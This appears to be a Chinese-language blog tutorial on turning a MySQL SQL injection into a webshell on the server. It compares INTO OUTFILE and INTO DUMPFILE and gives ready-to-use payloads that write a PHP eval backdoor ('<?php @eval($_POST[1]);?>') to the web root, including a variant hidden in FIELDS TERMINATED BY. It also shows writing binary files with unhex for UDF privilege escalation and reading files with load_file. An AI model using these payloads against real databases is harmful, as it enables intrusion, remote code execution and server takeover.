into outfile
into dumpfile
fields terminated by
lines terminated by

故事背景

假设我们前面有如下一个表:

http://www.teagle.top/index.php?id=1

假设上面这条链接,对应的是如下SQL语句

select * from bees_link where id = 1;

正文

支持union关键字,联合查询时。也就是我们最常见的mysql注入写shell的payload:

id = 1 union select '<?php @eval($_POST[1]);?>' into outfile 'd:/www/shell.php'

Note: windows下面可以使用单斜杠来分隔目录

1. into outfile

两张图了解使用into outfilePayload的一些细节:

  1. 使用union联合查询时,要保证两侧查询的列数相同
  2. into outfiile会在换行符制表符后面追加反斜杠
  3. into outfile会在末尾追加换行

  1. into outfile支持多行数据同时导出

2. into dumpfile

正如上面那张图片展示的那样:

  1. into dumpfile 每次只能导出一行数据
  2. into dumpfile 不会在换行符制表符后面追加反斜杠
  3. into dumpfile 不对在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了。

通过做一个小实验来直观展示:

先获取kedaya.jpg的十六进制字符

select hex(load_file('c:/kedaya.jpg'));

然后分别执行

select unhex('kedaya.jpg hex code') into dumpfile 'c:/dump.jpg';
select unhex('kedaya.jpg hex code') into outfile 'c:/out.jpg'

然后我们去c盘根目录去查找这两个文件,发现dump.jpg正常显示,而out.jpg却无法显示

对比一下两个文件的内容,最明显的变化便是,out.jpg文件追加了很多反斜杠,这些反斜杠使二进制文件无法生效

上面我们演示的写入一个jpg文件,当然我们也可以写入任意可执行文件;如udf提权所需要的dll文件等。

当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell

Note: 如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该怎么做呢

可以在联合查询之前手动添加limit进行限制。

3. fields terminated by

terminate
英 [ˈtɜ:mɪneɪt] 美 [ˈtɜ:rmɪneɪt]

vt.& vi.
结束;使终结;解雇;到达终点站

adj.
结束的

顾名思义,fields terminated by 'a',表示字段由字符a结束,也就是说,每个字段后面追加字符a。

是用来定义字段分隔符的作用。

不过它有一个限制,或者说特点,看下面这张图或许会更加直观

正如上图所展示的那样,会在字段中间添加指定的分隔符,但是如果只一个字段时,那么便不会添加分隔符

当然我们可以使用恶意代码作为分隔符,像下面这样

fields terminated by '<?php @eval($_REQUEST[1]);?>'

4. lines terminated by

同理,用来定义行分隔符。

这里需要着重留意的是,即使结果集里面只有一个字段,依旧有效

推荐使用

参考文章

mysql写Shell小技巧

https://www.cnblogs.com/qing123/p/6771858.html

mysql5.7导出数据提示--secure-file-priv选项问题的解决方法

https://blog.csdn.net/fdipzone/article/details/78634992

mysql dumpfile 与 outfile 函数的区别

https://www.2cto.com/database/201202/119610.html

文章目录